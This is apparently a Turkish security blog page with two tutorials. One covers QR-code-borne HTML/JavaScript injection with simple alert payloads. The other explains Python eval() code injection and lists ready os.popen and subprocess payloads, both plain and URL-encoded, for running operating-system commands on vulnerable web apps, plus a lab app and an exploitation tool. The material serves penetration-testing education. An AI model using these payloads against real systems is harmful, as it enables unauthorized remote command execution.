Barcode (QR Code) Injection

Standart

Barcode injection literature yeni girmiş bir açık türüdür,genelde SQL Injection altında verilir lakin sql injectiona yol açtığı kadar xss ve html injectionada yol açar.
Peki nedir bu barcode injection;Bildigiğiniz üzere artık mobil dünyanın ilerlemesi ile karekod kullanımı oldukça yayugınlaştı.mobil uygulamar yardımı ile tarattığınız karekodlar uygulama içinde texte çevrilir ve sql sorgusu olarak veya confirmation code olarak remote servera aktarılır.Işte bütün hadise burda başlar.Karekodu çözen uygulamaların çalıştığı remote server herhangi bir filtreleme kullanmaz ise karekod olarak oluşturduğunuz sorgu remote serverda sql sorgusu olarak çalışacaktır.Olayın özü budur.Şimdi bir kaç örnek verelim


HTML Injection
<h1>Burtay</h1>


Javascript Injection
<script>alert("Burtay")</script>

Javascript Injection II
<script>
for(i=1;i<=10;i++)
{
    alert("Burtay "+i+" Nolu Atak");
}
</script>

Canlı Uygulama

 

Kaynak

Python Code Injection

Standart

Web Uygulamalarında Python Code Injection

     Python Code Injection’a izin veren bir web uygulaması, uygulama üzerinden Python kodlarını hedef sunucuya gönderme imkanı tanır. Eğer python’u çalıştırabilirseniz büyük ihtimalle işletim sistemi komutlarını çağıracaksınız. Eğer işletim sistemi komutlarını çalıştırabilirseniz ,erişim sağladığınız dosya üzerinde okuma / üzerine yazma gibi çeşitli işlemleri yapabileceksiniz, ayrıca imkan dahilinde interaktif bir shell’i uzaktan çalıştırabileceksiniz.

Ana nokta; bu zafiyet, harici web uygulamalarını sömürmek ( exploit etmek ) amacıyla gerçekleştirilen sızma testlerinde, toplanan bilginin doğrulanması anlamında çok fazla zaman kaybettiriyor. Ekip arkadaşım Charlie Worrell ile birlikte etkileşimsiz bir shell ile Burp aracını açtık ki bu makale tam olarak bu olayı açıklamaktadır.

Python Code Injection, sunucu – taraflı code injection saldırısının küçük bir maketi gibidir. Bu açık, yazılım dili çok fark etmeksizin, birçok uygulamalarda bulunabilir. Aslında, siz de benim gibi bir CWE hayranı iseniz, aşağıda verdiğim iki adet CWE tam aradığınız şey olacaktır.

CWE-94: Improper Control of Generation of Code (’Code Injection’)
CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code (’Eval Injection’)

TL;DR

     Eğer aşağıdaki payload’a benzer bir python injection açığı bulduysanız ( Burp veya daha farklı bir araçla ) :
eval(compile(’for x in range(1):\n import time\n time.sleep(20)’,’a’,’single’))

OS Command Injection adı altında Zaman tabanlı bir POC yapmak için aşağıdaki payload u kullanabilirsiniz.
eval(compile(“””for x in range(1):\\n import os\\n os.popen(r’COMMAND’).read()”””,’’,’single’))

Ortaya çıktığında, for döngüsüne bile ihtiyacınız olmadan global_import_function kullanabilirsiniz.
eval(compile(“””import(’os’).popen(r’COMMAND’).read()”””,’’,’single’))

Daha da önemlisi çoğu vakada tamamını derlemenize gerek yok sadece aşağıdaki kısmı derlemeniz yeterli olacaktır.
import(’os’).popen(’COMMAND’).read()

Bu web uygulamalarının güvenliğini aşabilmek için ; bazı karakterleri URL encode etmeniz gerekir. Aşağıdaki örnekler size neye benzediklerini ve nasıl gözüktüklerini göstermek amacıyla verilmiştir.

– param=eval%28compile%28’for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29’%2C’a’%2C’single’%29%29
– param=eval%28compile%28“““for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r’COMMAND’%29.read%28%29“““%2C’’%2C’single’%29%29
– param=eval%28compile%28“““import%28’os’%29.popen%28r’COMMAND’%29.read%28%29“““%2C’’%2C’single’%29%29
– param=import%28’os’%29.popen%28’COMMAND’%29.read%28%29

İçerisinde Açık Bulunduran Bir Sunucu Kurulumu Yapmak

     Bu gönderinin amacına ulaşması için içerisinde açık bulunduran bir uygulama oluşturdum. Böylelikle saldırıyı bir lab ortamında gerçekleştirmek isterseniz yazılımı buradan edinebilirsiniz.

     Çalıştırmak için, pip veya easy_install aracılığıyla web.py uygulamasını yüklemeniz gerekmektedir. Tek başına bir sunucu olarak çalışabileceği gibi, Apache üzerine mod_wsgi ile yüklenebilir.


git clone https://github.com/sethsec/PyCodeInjection.git
cd VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py

Açık ( vulnerability ) Hakkında

     python eval() ‘ın güvenli olmadığına dair uyarı barındırmayan az sayıda internet sitesi ile karşılaşmanıza rağmen, bu sitede eval()’ ın ileri seviyede tehlikeli olduğuna dair bilgiler bulacaksınız. Eğer aşağıda size verdiğimiz iki durumu yaşıyorsanız, açık mevcut demektir.

  1. Uygulama kullanıcının veri girişi yapmasına izin veriyorsa. (örn, GET/POST ,çerez değerleri )
  2. Uygulama, kullanıcı tarafından yapılan veri girişlerinin güvenli olmayan bir yolla geçmesini sağlarsa ( temizleme veya diğer koruma yöntemleri olmaksızın )

İşte burada içerisinde bu açığı barındıran kodun nasıl olacağı basitçe gösterilmiştir.

Daha önce de söylendiği gibi, eval(), bu tarzda bir açığın oluşmasında birinci dereceden bir etkendir. Bir geliştirici görüşü ile bu açık, kullanıcı tarafından seri bir şekilde veri girişi yapılması olarak yorumlanabilir.

Python exec() ile uygulamanızı açık barındırır hale getirebilirsiniz fakat bildiğim kadarıyla bir geliştirici exec() web tabanlı kullanıcı veri girişlerinde bile geçerli bir sebep bulmaya çalışmalıdır. Bu şekilde söyleniyorsa sonuç kesindir.

Otomatize Keşif

Daha önce görmediğimiz bir uygulamanın taramasını yaptıktan sonra, ilgili sonuçları almak adına POC raporlaması yapmak offensive güvenlik eğitimimden beri en değerli alışkanlıklarımdan birisi olmuştur ( bu sürece, tarayıcıların bulamadığı açıkları manuel olarak bulmayı da ekleyebiliriz ). Saldırı yapılacak açık çok farklı değildir. Eğer bunu kabaca kendiniz bulabiliyorsanız, herhangi bir otomatize edilmiş araçla da ( Burp Suite Pro gibi… ) bulabileceksiniz demektir. Aslında, Burp uygulaması içeriden yazılan bir yazılımla açıkları bulmaya çalışır ve bu yüzdendir ki, bu açığı Burp Suite olmaksızın bulabilmeniz hakkında kesin bir şey söyleyemeyeceğim.

İçerisinde açık barındıran Demo App’yi çalışır vaziyette bulduğunuzda, ilgili açığı Burp Suite Scan ile tarama sonrası bulabileceksiniz.

Burada gördüğünüz ise açık bulunduğunda, kullanabileceğiniz uygun payload hakkında detaylardır.

Burp bayraklarının sebebi ( flag ) açıklar olup, payload gönderimiyle birlikte, 20 sn’lik uyku komutu gönderildikten sonra, 20 sn içerisinde cevap gelmesidir. Zaman tabanlı açık kontrolünde, her kontrolde yanlış uyarılar vereceği gibi, uygulama başlatıldığında vereceği cevaplar da yavaş olacaktır.

POC’den Hedeflenmiş Saldırıya ( Exploitation ) Geçiş

time.sleep açığın varlığını onaylamak için uygun bir yöntem olsa da, işletim sistemi komutları çalıştırmak ve çıktı almak için uğraşırız. Bunu yaparken, os.popen() veya subprocess.Popen() ve subprocess.check_output() ile başarılı olduk ve eminim ki daha farklı şeyler de vardır. Eval’in ifadeleri değerlendirmesine benzer çoklu ifadeleriniz varsa Burp Suite payload size temiz bir açık tarama imkanı sunacaktır. Aşağıda bunlar açıklanmıştır.

http://www.floyd.ch/?p=584
http://vipulchaskar.blogspot.com.tr/2012/10/exploiting-eval-function-in-python.html

Bu payload bir çok durumda çalışmaktadır:

# Tek bir ifade ile çalışan örnek
import(’os’).popen(’COMMAND’).read()

Virgüllerle ayrılmış çoklu ifadelerle çalışan örnek

str(“-“*50),import(’os’).popen(’COMMAND’).read()

Tek bir ifade ile çalışan örnek

eval(compile(“””import(’os’).popen(r’COMMAND’).read()”””,’’,’single’))
eval(compile(“””import(’subprocess’).check_output(r’COMMAND’,shell=True)”””,’’,’single’))

Virgüllerle ayrılmış çoklu ifadelerle çalışan örnek

eval(compile(“””import(’os’).popen(r’COMMAND’).read();import time;time.sleep(2)”””,’’,’single’))
eval(compile(“””import(’subprocess’).check_output(r’COMMAND’,shell=True);import time;time.sleep(2)”””,’’,’single’))

Yaptığım testlere göre; global_import_trick bazı alt uygulamaları çalıştırmayacaktır. Bu durumda, Burp ekibinin hazırladığı for döngü tekniğini kullanın.
eval(compile(“””for x in range(1):\n import os\n os.popen(r’COMMAND’).read()”””,’’,’single’))
eval(compile(“””for x in range(1):\n import subprocess\n subprocess.Popen(r’COMMAND’,shell=True, stdout=subprocess.PIPE).stdout.read()”””,’’,’single’))
eval(compile(“””for x in range(1):\n import subprocess\n subprocess.check_output(r’COMMAND’,shell=True)”””,’’,’single’))

Eğer açık içeren parametre bir GET parametresi ise, saldırıyı ( exploitation ) sadece web tarayıcınızla gerçekleştirebilirsiniz.

Not: Web tarayıcınız sizin için bir çok Url kodlamalarını yapacaktır fakat, %3b kolonunu ve %20 boşluklarını manuel olarak kodlamanız gerekecektir ( eğer kullanılmaları gerekiyorsa tabii ). Ya da size verdiğimiz araç ile tarama yapabilirsiniz.
Eğer POST parametresi ile çalışıyorsanız ( veya bir çerez değeri – sızma testinde başıma gelen bir durumdu ) muhtemelen Burp Repeater gibi bir yazılım kullanmanız gerekecektir. Aşağıdaki ekran görüntüleri pwd, ls -al, whoami ve ping gibi komutları çağırmada ve tüm bunları tek bir ifadede kullanan subprocess.check_output() komutunu kullanmayı gösterir.


Dolayısıyla manuel olarak yapılan Url kodlamaları hızlı bir şekilde eskir, bu yüzden büyük ihtimalle Charlie ve benim yaptığım gibi kendinizi güncel bir python script’i yazarken bulacaksınız. Tabi eğer isterseniz, bizim yazdığımız scripti de kullanabilirsiniz.

PyCodeInjectionShell ile Saldırı ( Exploitation ) Gösterimi

PyCodeInjectionShell yazılımını yükleyebilirsiniz ve nasıl kullanılacağını ise https://github.com/sethsec/PyCodeInjection adresinden öğrenebilirsiniz. PyCodeInjectionShell olabildiğince sqlmap tarzında yazılmıştır. Bizim varsayımımız ise python scriptini kullanan kişinin sqlmap tarzında bir uygulama ile karşılaşmış olmasıdır.
Aşağıdaki ekran görüntüsünde yazılımın, bir URL’i kabul ederken ki faaliyetleri görüntülenmektedir. Oradaki sqlmap tarzı * işareti, URL içerisindeki payload yerleşimini göstermektedir. Bu örnek zaten, çıkana kadar komut yazdığınız interaktif modu göstermektedir,

Ve burada da görüldüğü üzere, nereye saldırı yapılacağını gösteren * işareti, burp repeater’dan kopyalanıp / yapıştırılan bir istek dosyası ile aynı işlevselliği gösterir.

Diğer örnekte olduğu gibi, sadece tek bir komut girip çıkacaksanız, -i komutunu çıkarın.

 

Kaynak